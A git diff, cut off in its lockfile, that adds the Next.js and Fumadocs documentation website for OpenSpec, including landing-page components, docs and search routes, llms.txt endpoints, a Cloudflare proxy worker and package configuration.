className="overflow-hidden rounded-xl border border-fd-border bg-fd-card" + > + <div className="flex items-center gap-2 border-b border-fd-border px-4 py-2.5"> + <Icon className="size-4 text-fd-primary" /> + <code className="text-xs font-medium">{file}</code> + </div> + <pre className="overflow-x-auto p-4 text-xs leading-relaxed text-fd-muted-foreground"> + <code>{code}</code> + </pre> + <div className="border-t border-fd-border px-4 py-2 text-xs text-fd-muted-foreground"> + {caption} + </div> + </div> + ))} + </div> + </section> + ); +} + +const ROWS = [ + { + name: 'Spec Kit', + by: 'GitHub', + good: 'Thorough and structured', + catch: 'Rigid phase gates, lots of Markdown, Python setup', + us: false, + }, + { + name: 'Kiro', + by: 'AWS', + good: 'Powerful and integrated', + catch: 'Locked into their IDE and a limited set of models', + us: false, + }, + { + name: 'No specs', + by: 'the default', + good: 'Zero overhead', + catch: 'Vague prompts, unpredictable results, no record of why', + us: false, + }, + { + name: 'OpenSpec', + by: '', + good: 'Lightweight, fluid, lives in your repo', + catch: 'Adds one small step — worth it whenever agreement matters', + us: true, + }, +]; + +function Comparison() { + return ( + <section className="mx-auto max-w-5xl px-4 py-20"> + <div className="mx-auto max-w-2xl text-center"> + <h2 className="text-3xl font-bold tracking-tight">The honest middle</h2> + <p className="mt-4 text-fd-muted-foreground"> + Heavier tools exist. So does doing nothing. OpenSpec aims for the + spot where the value clearly beats the cost. + </p> + </div> + <div className="mx-auto mt-12 max-w-3xl divide-y divide-fd-border overflow-hidden rounded-xl border border-fd-border"> + {ROWS.map((r) => ( + <div + key={r.name} + className={ + 'grid grid-cols-1 gap-1 px-5 py-4 sm:grid-cols-[10rem_1fr] ' + + (r.us ? 'bg-fd-primary/5' : 'bg-fd-card') + } + > + <div className="flex items-center gap-2 font-semibold"> + {r.us && <Check className="size-4 text-fd-primary" />} + <span className={r.us ? 'text-fd-primary' : ''}>{r.name}</span> + {r.by && ( + <span className="text-xs font-normal text-fd-muted-foreground"> + {r.by} + </span> + )} + </div> + <div className="text-sm"> + <span className="text-fd-foreground/90">{r.good}.</span>{' '} + <span className="text-fd-muted-foreground">{r.catch}.</span> + </div> + </div> + ))} + </div> + </section> + ); +} + +function FinalCta() { + return ( + <section className="mx-auto max-w-5xl px-4 py-24 text-center"> + <h2 className="text-3xl font-bold tracking-tight sm:text-4xl"> + Ship your first change in five minutes + </h2> + <p className="mx-auto mt-4 max-w-xl text-fd-muted-foreground"> + Works with 30+ AI assistants — Claude Code, Cursor, Codex, Devin Desktop, + Gemini CLI, and more. + </p> + <div className="mt-8 inline-flex flex-col gap-1 rounded-lg border border-fd-border bg-fd-card px-4 py-3 text-left font-mono text-sm"> + <div className="flex items-center gap-2"> + <span className="text-fd-muted-foreground">$</span> + npm install -g @fission-ai/openspec@latest + </div> + <div className="flex items-center gap-2"> + <span className="text-fd-muted-foreground">$</span> + cd your-project && openspec init + </div> + </div> + <p className="mt-4 text-sm text-fd-muted-foreground"> + Or{' '} + <Link + href={`${docsRoute}/installation#install-with-your-ai-assistant`} + className="underline underline-offset-4 hover:text-fd-foreground" + > + let your AI assistant install it for you + </Link> + . + </p> + <div className="mt-8"> + <Link + href={`${docsRoute}/getting-started`} + className="inline-flex items-center justify-center gap-2 rounded-lg bg-fd-primary px-6 py-3 text-sm font-semibold text-fd-primary-foreground transition-opacity hover:opacity-90" + > + Read the getting-started guide <ArrowRight className="size-4" /> + </Link> + </div> + </section> + ); +} diff --git a/website/app/api/search/route.ts b/website/app/api/search/route.ts new file mode 100644 index 0000000000..aaaff7ffd1 --- /dev/null +++ b/website/app/api/search/route.ts @@ -0,0 +1,9 @@ +import { source } from '@/lib/source'; +import { createFromSource } from 'fumadocs-core/search/server'; + +export const revalidate = false; + +export const { staticGET: GET } = createFromSource(source, { + // https://docs.orama.com/docs/orama-js/supported-languages + language: 'english', +}); diff --git a/website/app/docs/[[...slug]]/page.tsx b/website/app/docs/[[...slug]]/page.tsx new file mode 100644 index 0000000000..1d2d034421 --- /dev/null +++ b/website/app/docs/[[...slug]]/page.tsx @@ -0,0 +1,69 @@ +import { getPageImage, getPageMarkdownUrl, source } from '@/lib/source'; +import { + DocsBody, + DocsPage, + DocsTitle, + MarkdownCopyButton, + ViewOptionsPopover, +} from 'fumadocs-ui/layouts/docs/page'; +import { notFound } from 'next/navigation'; +import { getMDXComponents } from '@/components/mdx'; +import type { Metadata } from 'next'; +import { createRelativeLink } from 'fumadocs-ui/mdx'; +import { gitConfig } from '@/lib/shared'; + +export default async function Page(props: PageProps<'/docs/[[...slug]]'>) { + const params = await props.params; + const page = source.getPage(params.slug); + if (!page) notFound(); + + const MDX = page.data.body; + const markdownUrl = getPageMarkdownUrl(page).url; + + return ( + <DocsPage toc={page.data.toc} full={page.data.full}> + <DocsTitle>{page.data.title}</DocsTitle> + {/* + The frontmatter `description` is derived from the page's first paragraph + (see scripts/sync-docs.mjs), so rendering it here as a subtitle would + just duplicate the opening paragraph of the body below. We keep it in + `generateMetadata` for SEO/OG, but omit the on-page <DocsDescription>. + */} + <div className="flex flex-row gap-2 items-center border-b pb-6"> + <MarkdownCopyButton markdownUrl={markdownUrl} /> + <ViewOptionsPopover + markdownUrl={markdownUrl} + githubUrl={`https://github.com/${gitConfig.user}/${gitConfig.repo}/blob/${gitConfig.branch}/${ + page.data.githubSource ?? `website/content/docs/${page.path}` + }`} + /> + </div> + <DocsBody> + <MDX + components={getMDXComponents({ + // this allows you to link to other pages with relative file paths + a: createRelativeLink(source, page), + })} + /> + </DocsBody> + </DocsPage> + ); +} + +export async function generateStaticParams() { + return source.generateParams(); +} + +export async function generateMetadata(props: PageProps<'/docs/[[...slug]]'>): Promise<Metadata> { + const params = await props.params; + const page = source.getPage(params.slug); + if (!page) notFound(); + + return { + title: page.data.title, + description: page.data.description, + openGraph: { + images: getPageImage(page).url, + }, + }; +} diff --git a/website/app/docs/layout.tsx b/website/app/docs/layout.tsx new file mode 100644 index 0000000000..a373143bf4 --- /dev/null +++ b/website/app/docs/layout.tsx @@ -0,0 +1,11 @@ +import { source } from '@/lib/source'; +import { DocsLayout } from 'fumadocs-ui/layouts/docs'; +import { baseOptions } from '@/lib/layout.shared'; + +export default function Layout({ children }: LayoutProps<'/docs'>) { + return ( + <DocsLayout tree={source.getPageTree()} {...baseOptions()}> + {children} + </DocsLayout> + ); +} diff --git a/website/app/global.css b/website/app/global.css new file mode 100644 index 0000000000..f9eb064351 --- /dev/null +++ b/website/app/global.css @@ -0,0 +1,21 @@ +@import 'tailwindcss'; +@import 'fumadocs-ui/css/neutral.css'; +@import 'fumadocs-ui/css/preset.css'; + +/* OpenSpec brand accent — a confident indigo that reads well on light and dark. */ +:root { + --color-fd-primary: #4f46e5; +} + +.dark { + --color-fd-primary: #818cf8; +} + +html { + scrollbar-gutter: stable; +} + +html > body[data-scroll-locked] { + margin-right: 0px !important; + --removed-body-scroll-bar-size: 0px !important; +} diff --git a/website/app/icon.svg b/website/app/icon.svg new file mode 100644 index 0000000000..710c67a392 --- /dev/null +++ b/website/app/icon.svg @@ -0,0 +1,5 @@ +<svg width="32" height="32" viewBox="0 0 32 32" fill="none" xmlns="http://www.w3.org/2000/svg"> + <rect width="32" height="32" rx="7" fill="#4f46e5"/> + <path d="M16 7a9 9 0 1 0 0 18 9 9 0 0 0 0-18Zm0 4.2a4.8 4.8 0 1 1 0 9.6 4.8 4.8 0 0 1 0-9.6Z" fill="white"/> + <circle cx="16" cy="16" r="2.1" fill="white"/> +</svg> diff --git a/website/app/layout.tsx b/website/app/layout.tsx new file mode 100644 index 0000000000..243b59f38c --- /dev/null +++ b/website/app/layout.tsx @@ -0,0 +1,42 @@ +import { Inter } from 'next/font/google'; +import type { Metadata } from 'next'; +import { Provider } from '@/components/provider'; +import { appName, siteUrl } from '@/lib/shared'; +import './global.css'; + +const inter = Inter({ + subsets: ['latin'], +}); + +const description = + 'OpenSpec is a lightweight agreement layer between you and your AI. Agree on what to build before any code is written. Works with 30+ AI coding assistants.'; + +export const metadata: Metadata = { + metadataBase: new URL(siteUrl), + title: { + default: `${appName} — Agree first, then build confidently`, + template: `%s — ${appName}`, + }, + description, + openGraph: { + title: `${appName} — Agree first, then build confidently`, + description, + siteName: appName, + type: 'website', + }, + twitter: { + card: 'summary_large_image', + title: appName, + description, + }, +}; + +export default function Layout({ children }: LayoutProps<'/'>) { + return ( + <html lang="en" className={inter.className} suppressHydrationWarning> + <body className="flex flex-col min-h-screen"> + <Provider>{children}</Provider> + </body> + </html> + ); +} diff --git a/website/app/llms-full.txt/route.ts b/website/app/llms-full.txt/route.ts new file mode 100644 index 0000000000..d494d2cbb6 --- /dev/null +++ b/website/app/llms-full.txt/route.ts @@ -0,0 +1,10 @@ +import { getLLMText, source } from '@/lib/source'; + +export const revalidate = false; + +export async function GET() { + const scan = source.getPages().map(getLLMText); + const scanned = await Promise.all(scan); + + return new Response(scanned.join('\n\n')); +} diff --git a/website/app/llms.mdx/docs/[[...slug]]/route.ts b/website/app/llms.mdx/docs/[[...slug]]/route.ts new file mode 100644 index 0000000000..012e877cda --- /dev/null +++ b/website/app/llms.mdx/docs/[[...slug]]/route.ts @@ -0,0 +1,23 @@ +import { getLLMText, getPageMarkdownUrl, source } from '@/lib/source'; +import { notFound } from 'next/navigation'; + +export const revalidate = false; + +export async function GET(_req: Request, { params }: RouteContext<'/llms.mdx/docs/[[...slug]]'>) { + const { slug } = await params; + // remove the appended "content.md" + const page = source.getPage(slug?.slice(0, -1)); + if (!page) notFound(); + + return new Response(await getLLMText(page), { + headers: { + 'Content-Type': 'text/markdown', + }, + }); +} + +export function generateStaticParams() { + return source.getPages().map((page) => ({ + slug: getPageMarkdownUrl(page).segments, + })); +} diff --git a/website/app/llms.txt/route.ts b/website/app/llms.txt/route.ts new file mode 100644 index 0000000000..fc80cb652c --- /dev/null +++ b/website/app/llms.txt/route.ts @@ -0,0 +1,8 @@ +import { source } from '@/lib/source'; +import { llms } from 'fumadocs-core/source'; + +export const revalidate = false; + +export function GET() { + return new Response(llms(source).index()); +} diff --git a/website/app/og/docs/[...slug]/route.tsx b/website/app/og/docs/[...slug]/route.tsx new file mode 100644 index 0000000000..877166d34f --- /dev/null +++ b/website/app/og/docs/[...slug]/route.tsx @@ -0,0 +1,28 @@ +import { getPageImage, source } from '@/lib/source'; +import { notFound } from 'next/navigation'; +import { ImageResponse } from 'next/og'; +import { generate as DefaultImage } from 'fumadocs-ui/og'; +import { appName } from '@/lib/shared'; + +export const revalidate = false; + +export async function GET(_req: Request, { params }: RouteContext<'/og/docs/[...slug]'>) { + const { slug } = await params; + const page = source.getPage(slug.slice(0, -1)); + if (!page) notFound(); + + return new ImageResponse( + <DefaultImage title={page.data.title} description={page.data.description} site={appName} />, + { + width: 1200, + height: 630, + }, + ); +} + +export function generateStaticParams() { + return source.getPages().map((page) => ({ + lang: page.locale, + slug: getPageImage(page).segments, + })); +} diff --git a/website/app/robots.ts b/website/app/robots.ts new file mode 100644 index 0000000000..b0a31af94f --- /dev/null +++ b/website/app/robots.ts @@ -0,0 +1,16 @@ +import type { MetadataRoute } from 'next'; +import { siteUrl } from '@/lib/shared'; + +// Static robots.txt, emitted by the static export. +export const revalidate = false; + +export default function robots(): MetadataRoute.Robots { + const base = siteUrl.replace(/\/$/, ''); + return { + rules: { + userAgent: '*', + allow: '/', + }, + sitemap: `${base}/sitemap.xml`, + }; +} diff --git a/website/app/sitemap.ts b/website/app/sitemap.ts new file mode 100644 index 0000000000..5ed32ce8b7 --- /dev/null +++ b/website/app/sitemap.ts @@ -0,0 +1,24 @@ +import type { MetadataRoute } from 'next'; +import { source } from '@/lib/source'; +import { siteUrl } from '@/lib/shared'; + +// Static sitemap, emitted as sitemap.xml by the static export. +export const revalidate = false; + +export default function sitemap(): MetadataRoute.Sitemap { + const base = siteUrl.replace(/\/$/, ''); + const docs = source.getPages().map((page) => ({ + url: `${base}${page.url}`, + changeFrequency: 'weekly' as const, + priority: 0.7, + })); + + return [ + { + url: `${base}/`, + changeFrequency: 'weekly', + priority: 1, + }, + ...docs, + ]; +} diff --git a/website/cloudflare/router/worker.js b/website/cloudflare/router/worker.js new file mode 100644 index 0000000000..b6f014444c --- /dev/null +++ b/website/cloudflare/router/worker.js @@ -0,0 +1,87 @@ +addEventListener('fetch', (event) => { + event.respondWith(proxyDocs(event.request)); +}); + +const ALLOWED_METHODS = new Set(['GET', 'HEAD']); +const FORWARDED_REQUEST_HEADERS = [ + 'accept', + 'accept-encoding', + 'accept-language', + 'cache-control', + 'if-match', + 'if-modified-since', + 'if-none-match', + 'if-unmodified-since', + 'range', + 'user-agent', +]; + +async function proxyDocs(request) { + const incoming = new URL(request.url); + + if (!isDocsRoute(incoming.pathname)) { + return fetch(request); + } + + if (!ALLOWED_METHODS.has(request.method)) { + return new Response(null, { + status: 405, + headers: { allow: 'GET, HEAD' }, + }); + } + + const upstream = new URL( + incoming.pathname + incoming.search, + 'https://openspec-docs.pages.dev', + ); + + const headers = new Headers(); + for (const name of FORWARDED_REQUEST_HEADERS) { + const value = request.headers.get(name); + if (value !== null) { + headers.set(name, value); + } + } + + const init = { + method: request.method, + headers, + redirect: 'manual', + }; + + const response = await fetch(upstream.toString(), init); + const responseHeaders = new Headers(response.headers); + const location = responseHeaders.get('location'); + + if (location) { + const redirected = new URL(location, upstream); + if (redirected.hostname === 'openspec-docs.pages.dev') { + redirected.protocol = incoming.protocol; + redirected.host = incoming.host; + responseHeaders.set('location', redirected.toString()); + } + } + + return new Response(response.body, { + status: response.status, + statusText: response.statusText, + headers: responseHeaders, + }); +} + +function isDocsRoute(pathname) { + return ( + pathname === '/docs' || + pathname.startsWith('/docs/') || + pathname.startsWith('/_next/') || + pathname === '/api/search' || + pathname === '/api/search/' || + pathname === '/og/docs' || + pathname.startsWith('/og/docs/') || + pathname === '/llms.txt' || + pathname === '/llms-full.txt' || + pathname === '/llms.mdx/docs' || + pathname.startsWith('/llms.mdx/docs/') || + pathname === '/icon.svg' + ); +} diff --git a/website/cloudflare/router/wrangler.jsonc b/website/cloudflare/router/wrangler.jsonc new file mode 100644 index 0000000000..3cb0997d89 --- /dev/null +++ b/website/cloudflare/router/wrangler.jsonc @@ -0,0 +1,16 @@ +{ + "$schema": "node_modules/wrangler/config-schema.json", + "name": "openspec-docs-router", + "main": "worker.js", + "compatibility_date": "2026-07-10", + "routes": [ + { "pattern": "openspec.dev/docs*", "zone_name": "openspec.dev" }, + { "pattern": "openspec.dev/docs/*", "zone_name": "openspec.dev" }, + { "pattern": "openspec.dev/_next/*", "zone_name": "openspec.dev" }, + { "pattern": "openspec.dev/api/search*", "zone_name": "openspec.dev" }, + { "pattern": "openspec.dev/og/docs/*", "zone_name": "openspec.dev" }, + { "pattern": "openspec.dev/llms*", "zone_name": "openspec.dev" }, + { "pattern": "openspec.dev/llms.mdx/docs/*", "zone_name": "openspec.dev" }, + { "pattern": "openspec.dev/icon.svg*", "zone_name": "openspec.dev" } + ] +} diff --git a/website/components/mdx.tsx b/website/components/mdx.tsx new file mode 100644 index 0000000000..d638e730f4 --- /dev/null +++ b/website/components/mdx.tsx @@ -0,0 +1,26 @@ +import defaultMdxComponents from 'fumadocs-ui/mdx'; +import { Tab, Tabs } from 'fumadocs-ui/components/tabs'; +import { Step, Steps } from 'fumadocs-ui/components/steps'; +import { Accordion, Accordions } from 'fumadocs-ui/components/accordion'; +import { Mermaid } from '@/components/mermaid'; +import type { MDXComponents } from 'mdx/types'; + +export function getMDXComponents(components?: MDXComponents) { + return { + ...defaultMdxComponents, + Tab, + Tabs, + Step, + Steps, + Accordion, + Accordions, + Mermaid, + ...components, + } satisfies MDXComponents; +} + +export const useMDXComponents = getMDXComponents; + +declare global { + type MDXProvidedComponents = ReturnType<typeof getMDXComponents>; +} diff --git a/website/components/mermaid.tsx b/website/components/mermaid.tsx new file mode 100644 index 0000000000..62cc61ebb4 --- /dev/null +++ b/website/components/mermaid.tsx @@ -0,0 +1,37 @@ +import { renderMermaidSVG } from 'beautiful-mermaid'; +import { CodeBlock, Pre } from 'fumadocs-ui/components/codeblock'; + +export function Mermaid({ chart }: { chart: string }) { + try { + // beautiful-mermaid injects remote font imports; the site already provides Inter. + const svg = renderMermaidSVG(chart, { + bg: 'var(--color-fd-background)', + fg: 'var(--color-fd-foreground)', + transparent: true, + }).replace(/^\s*@import url\(['"]https:\/\/fonts\.googleapis\.com\/[^)]*\);\s*$/m, ''); + + return ( + <figure> + <div + aria-label="Scrollable Mermaid diagram" + className="overflow-x-auto" + role="region" + tabIndex={0} + > + <div + aria-hidden="true" + className="[&_svg]:h-auto [&_svg]:max-w-full [&_svg]:min-w-[40rem]" + dangerouslySetInnerHTML={{ __html: svg }} + /> + </div> + <figcaption className="sr-only">Mermaid diagram source: {chart}</figcaption> + </figure> + ); + } catch { + return ( + <CodeBlock title="Mermaid"> + <Pre>{chart}</Pre> + </CodeBlock> + ); + } +} diff --git a/website/components/provider.tsx b/website/components/provider.tsx new file mode 100644 index 0000000000..522282b2de --- /dev/null +++ b/website/components/provider.tsx @@ -0,0 +1,8 @@ +'use client'; +import SearchDialog from '@/components/search'; +import { RootProvider } from 'fumadocs-ui/provider/next'; +import { type ReactNode } from 'react'; + +export function Provider({ children }: { children: ReactNode }) { + return <RootProvider search={{ SearchDialog }}>{children}</RootProvider>; +} diff --git a/website/components/search.tsx b/website/components/search.tsx new file mode 100644 index 0000000000..19037982a3 --- /dev/null +++ b/website/components/search.tsx @@ -0,0 +1,48 @@ +'use client'; +import { + SearchDialog, + SearchDialogClose, + SearchDialogContent, + SearchDialogHeader, + SearchDialogIcon, + SearchDialogInput, + SearchDialogList, + SearchDialogOverlay, + type SharedProps, +} from 'fumadocs-ui/components/dialog/search'; +import { useDocsSearch } from 'fumadocs-core/search/client'; +import { oramaStaticClient } from 'fumadocs-core/search/client/orama-static'; +import { create } from '@orama/orama'; +import { useI18n } from 'fumadocs-ui/contexts/i18n'; + +function initOrama() { + return create({ + schema: { _: 'string' }, + // https://docs.orama.com/docs/orama-js/supported-languages + language: 'english', + }); +} + +export default function DefaultSearchDialog(props: SharedProps) { + const { locale } = useI18n(); // (optional) for i18n + const { search, setSearch, query } = useDocsSearch({ + client: oramaStaticClient({ + initOrama, + locale, + }), + }); + + return ( + <SearchDialog search={search} onSearchChange={setSearch} isLoading={query.isLoading} {...props}> + <SearchDialogOverlay /> + <SearchDialogContent> + <SearchDialogHeader> + <SearchDialogIcon /> + <SearchDialogInput /> + <SearchDialogClose /> + </SearchDialogHeader> + <SearchDialogList items={query.data !== 'empty' ? query.data : null} /> + </SearchDialogContent> + </SearchDialog> + ); +} diff --git a/website/docs.sync.config.mjs b/website/docs.sync.config.mjs new file mode 100644 index 0000000000..0c7c220104 --- /dev/null +++ b/website/docs.sync.config.mjs @@ -0,0 +1,76 @@ +// Single source of truth for the documentation site's content. +// +// The pages under `content/docs/` are NOT authored by hand. They are generated +// from the repository's `docs/*.md` files by `scripts/sync-docs.mjs` (which runs +// as the first step of `npm run build` / `npm run dev`). Edit the docs in +// `../docs`, and the site mirrors them automatically — locally and in CI. +// +// This manifest is the only place that decides which docs are published, their +// slug/URL, their sidebar section and order, and their sidebar icon. +// +// `source` is a path relative to the repo root's `docs/` directory. +// `slug` is the page path under `/docs/` (may contain a folder, e.g. reference/cli). +// `icon` is any lucide-react icon name (unknown names simply render no icon). + +export const docsDir = '../docs'; + +/** Ordered sections; each becomes a labeled group in the sidebar. */ +export const sections = [ + { + label: 'Start here', + pages: [ + { source: 'README.md', slug: 'index', icon: 'Sparkles' }, + { source: 'installation.md', slug: 'installation', icon: 'Download' }, + { source: 'getting-started.md', slug: 'getting-started', icon: 'Rocket' }, + { source: 'how-commands-work.md', slug: 'how-commands-work', icon: 'Terminal' }, + ], + }, + { + label: 'Understand it', + pages: [ + { source: 'overview.md', slug: 'overview', icon: 'Map' }, + { source: 'concepts.md', slug: 'core-concepts', icon: 'Boxes' }, + { source: 'workflows.md', slug: 'the-workflow', icon: 'Workflow' }, + { source: 'opsx.md', slug: 'opsx', icon: 'GitBranch' }, + { source: 'explore.md', slug: 'explore', icon: 'Compass' }, + ], + }, + { + label: 'Guides', + pages: [ + { source: 'examples.md', slug: 'examples', icon: 'ListChecks' }, + { source: 'writing-specs.md', slug: 'writing-specs', icon: 'PenLine' }, + { source: 'reviewing-changes.md', slug: 'reviewing-changes', icon: 'SearchCheck' }, + { source: 'existing-projects.md', slug: 'existing-projects', icon: 'FolderGit2' }, + { source: 'editing-changes.md', slug: 'editing-changes', icon: 'Pencil' }, + { source: 'customization.md', slug: 'customization', icon: 'Settings2' }, + { source: 'multi-language.md', slug: 'multi-language', icon: 'Languages' }, + { source: 'team-workflow.md', slug: 'team-workflow', icon: 'GitPullRequest' }, + { source: 'stores-beta/user-guide.md', slug: 'stores', icon: 'Store' }, + ], + }, + { + // Rendered as a collapsible folder (its own meta.json) rather than a label. + label: 'Reference', + folder: 'reference', + icon: 'BookMarked', + pages: [ + { source: 'commands.md', slug: 'reference/slash-commands', icon: 'SquareSlash' }, + { source: 'cli.md', slug: 'reference/cli', icon: 'SquareTerminal' }, + { source: 'supported-tools.md', slug: 'reference/supported-tools', icon: 'Wrench' }, + { source: 'agent-contract.md', slug: 'reference/agents', icon: 'Bot' }, + ], + }, + { + label: 'Help', + pages: [ + { source: 'faq.md', slug: 'faq', icon: 'CircleHelp' }, + { source: 'troubleshooting.md', slug: 'troubleshooting', icon: 'LifeBuoy' }, + { source: 'glossary.md', slug: 'glossary', icon: 'BookA' }, + { source: 'migration-guide.md', slug: 'migration-guide', icon: 'ArrowLeftRight' }, + ], + }, +]; + +/** Flat list of every published page, in sidebar order. */ +export const pages = sections.flatMap((section) => section.pages); diff --git a/website/lib/layout.shared.tsx b/website/lib/layout.shared.tsx new file mode 100644 index 0000000000..0ec454ff9b --- /dev/null +++ b/website/lib/layout.shared.tsx @@ -0,0 +1,32 @@ +import type { BaseLayoutProps } from 'fumadocs-ui/layouts/shared'; +import { appName, links } from './shared'; + +/** + * Shared layout options for both the home (marketing) layout and the docs + * layout. Keeping nav links in one place means the header stays consistent + * everywhere. + */ +export function baseOptions(): BaseLayoutProps { + return { + nav: { + title: ( + <span className="font-semibold tracking-tight"> + Open<span className="text-fd-primary">Spec</span> + </span> + ), + }, + links: [ + { + text: 'Documentation', + url: '/docs', + active: 'nested-url', + }, + { + text: 'Discord', + url: links.discord, + external: true, + }, + ], + githubUrl: links.github, + }; +} diff --git a/website/lib/shared.ts b/website/lib/shared.ts new file mode 100644 index 0000000000..06eb54098c --- /dev/null +++ b/website/lib/shared.ts @@ -0,0 +1,27 @@ +export const appName = 'OpenSpec'; + +// Absolute base URL of the deployed site, used to resolve Open Graph / social +// image URLs. Set NEXT_PUBLIC_SITE_URL in your deploy environment (e.g. on +// Cloudflare Pages) to your real domain. The fallback covers local builds and +// CI runs where the variable is unset or empty (an empty string would otherwise +// crash `new URL()` at build time). +export const siteUrl = + process.env.NEXT_PUBLIC_SITE_URL || 'https://openspec.dev'; + +export const docsRoute = '/docs'; +export const docsImageRoute = '/og/docs'; +export const docsContentRoute = '/llms.mdx/docs'; + +// OpenSpec source repository, used for "edit this page" and GitHub links. +export const gitConfig = { + user: 'Fission-AI', + repo: 'OpenSpec', + branch: 'main', +}; + +export const links = { + github: `https://github.com/${gitConfig.user}/${gitConfig.repo}`, + discord: 'https://discord.gg/YctCnvvshC', + npm: 'https://www.npmjs.com/package/@fission-ai/openspec', + x: 'https://x.com/0xTab', +}; diff --git a/website/lib/source.ts b/website/lib/source.ts new file mode 100644 index 0000000000..e40147f089 --- /dev/null +++ b/website/lib/source.ts @@ -0,0 +1,54 @@ +import { docs } from 'collections/server'; +import { renderPlaceholder } from 'fumadocs-core/mdx-plugins/remark-llms.runtime'; +import { loader } from 'fumadocs-core/source'; +import { icons } from 'lucide-react'; +import { createElement } from 'react'; +import { docsContentRoute, docsImageRoute, docsRoute } from './shared'; + +// See https://fumadocs.dev/docs/headless/source-api for more info +export const source = loader({ + baseUrl: docsRoute, + source: docs.toFumadocsSource(), + // Render a lucide icon in the sidebar when a page sets `icon:` in frontmatter. + icon(icon) { + if (icon && icon in icons) { + return createElement(icons[icon as keyof typeof icons]); + } + }, + plugins: [], +}); + +export function getPageImage(page: (typeof source)['$inferPage']) { + const segments = [...page.slugs, 'image.png']; + + return { + segments, + url: `${docsImageRoute}/${segments.join('/')}`, + }; +} + +export function getPageMarkdownUrl(page: (typeof source)['$inferPage']) { + const segments = [...page.slugs, 'content.md']; + + return { + segments, + url: `${docsContentRoute}/${segments.join('/')}`, + }; +} + +export async function getLLMText(page: (typeof source)['$inferPage']) { + const processed = await page.data.getText('processed'); + const markdown = await renderPlaceholder(processed, { + Mermaid({ attributes }) { + if (typeof attributes.chart !== 'string') return ''; + + return `\`\`\`mermaid +${attributes.chart} +\`\`\``; + }, + }); + + return `# ${page.data.title} (${page.url}) + +${markdown}`; +} diff --git a/website/next.config.mjs b/website/next.config.mjs new file mode 100644 index 0000000000..d56c03567c --- /dev/null +++ b/website/next.config.mjs @@ -0,0 +1,17 @@ +import { createMDX } from 'fumadocs-mdx/next'; + +const withMDX = createMDX(); + +/** @type {import('next').NextConfig} */ +const config = { + // Static HTML export — the `out/` directory deploys directly to Cloudflare Pages. + output: 'export', + reactStrictMode: true, + // This site has its own lockfile and lives inside the OpenSpec monorepo, so + // pin the workspace root to silence Next's multi-lockfile inference warning. + turbopack: { + root: import.meta.dirname, + }, +}; + +export default withMDX(config); diff --git a/website/package.json b/website/package.json new file mode 100644 index 0000000000..4b05a82a8d --- /dev/null +++ b/website/package.json @@ -0,0 +1,47 @@ +{ + "name": "@fission-ai/openspec-website", + "version": "0.0.0", + "private": true, + "description": "Documentation site for OpenSpec, built with Fumadocs and deployable to Cloudflare Pages.", + "scripts": { + "sync:docs": "node scripts/sync-docs.mjs", + "build": "pnpm run sync:docs && fumadocs-mdx && next build", + "dev": "pnpm run sync:docs && next dev", + "start": "serve out", + "types:check": "pnpm run sync:docs && fumadocs-mdx && next typegen && tsc --noEmit" + }, + "dependencies": { + "@orama/orama": "^3.1.18", + "beautiful-mermaid": "^1.1.3", + "fumadocs-core": "^16.12.1", + "fumadocs-mdx": "^15.2.1", + "fumadocs-ui": "^16.12.1", + "lucide-react": "^1.27.0", + "next": "16.2.12", + "react": "^19.2.7", + "react-dom": "^19.2.7", + "zod": "^4.4.3" + }, + "devDependencies": { + "@tailwindcss/postcss": "^4.3.1", + "@types/mdx": "^2.0.14", + "@types/node": "^26.1.2", + "@types/react": "^19.2.18", + "@types/react-dom": "^19.2.4", + "postcss": "^8.5.25", + "serve": "^14.2.6", + "tailwindcss": "^4.3.1", + "typescript": "^6.0.3" + }, + "pnpm": { + "onlyBuiltDependencies": [ + "esbuild" + ], + "overrides": { + "postcss": "^8.5.22", + "sharp": "^0.35.3", + "brace-expansion@<=5.0.8": ">=5.0.9 <6", + "fast-uri@<3.1.5": "^3.1.5" + } + } +} diff --git a/website/pnpm-lock.yaml b/website/pnpm-lock.yaml new file mode 100644 index 0000000000..a081d26eea --- /dev/null +++ b/website/pnpm-lock.yaml @@ -0,0 +1,4810 @@ +lockfileVersion: '9.0' + +settings: + autoInstallPeers: true + excludeLinksFromLockfile: false + +overrides: + postcss: ^8.5.22 + sharp: ^0.35.3 + brace-expansion@<=5.0.8: '>=5.0.9 <6' + fast-uri@<3.1.5: ^3.1.5 + +importers: + + .: + dependencies: + '@orama/orama': + specifier: ^3.1.18 + version: 3.1.18 + beautiful-mermaid: + specifier: ^1.1.3 + version: 1.1.3 + fumadocs-core: + specifier: ^16.12.1 + version: 16.12.1(@mdx-js/mdx@3.1.1)(@types/estree-jsx@1.0.5)(@types/hast@3.0.5)(@types/mdast@4.0.4)(@types/react@19.2.18)(lucide-react@1.27.0(react@19.2.8))(next@16.2.12(@types/node@26.1.2)(react-dom@19.2.8(react@19.2.8))(react@19.2.8))(react-dom@19.2.8(react@19.2.8))(react@19.2.8)(zod@4.4.3) + fumadocs-mdx: + specifier: ^15.2.1 + version: 15.2.1(@types/mdast@4.0.4)(@types/mdx@2.0.14)(@types/react@19.2.18)(fumadocs-core@16.12.1(@mdx-js/mdx@3.1.1)(@types/estree-jsx@1.0.5)(@types/hast@3.0.5)(@types/mdast@4.0.4)(@types/react@19.2.18)(lucide-react@1.27.0(react@19.2.8))(next@16.2.12(@types/node@26.1.2)(react-dom@19.2.8(react@19.2.8))(react@19.2.8))(react-dom@19.2.8(react@19.2.8))(react@19.2.8)(zod@4.4.3))(next@16.2.12(@types/node@26.1.2)(react-dom@19.2.8(react@19.2.8))(react@19.2.8))(react@19.2.8) + fumadocs-ui: + specifier: ^16.12.1 + version: 16.12.1(@types/mdx@2.0.14)(@types/react-dom@19.2.4(@types/react@19.2.18))(@types/react@19.2.18)(fumadocs-core@16.12.1(@mdx-js/mdx@3.1.1)(@types/estree-jsx@1.0.5)(@types/hast@3.0.5)(@types/mdast@4.0.4)(@types/react@19.2.18)(lucide-react@1.27.0(react@19.2.8))(next@16.2.12(@types/node@26.1.2)(react-dom@19.2.8(react@19.2.8))(react@19.2.8))(react-dom@19.2.8(react@19.2.8))(react@19.2.8)(zod@4.4.3))(next@16.2.12(@types/node@26.1.2)(react-dom@19.2.8(react@19.2.8))(react@19.2.8))(react-dom@19.2.8(react@19.2.8))(react@19.2.8)(tailwindcss@4.3.3) + lucide-react: + specifier: ^1.27.0 + version: 1.27.0(react@19.2.8) + next: + specifier: 16.2.12 + version: 16.2.12(@types/node@26.1.2)(react-dom@19.2.8(react@19.2.8))(react@19.2.8) + react: + specifier: ^19.2.7 + version: 19.2.8 + react-dom: + specifier: ^19.2.7 + version: 19.2.8(react@19.2.8) + zod: + 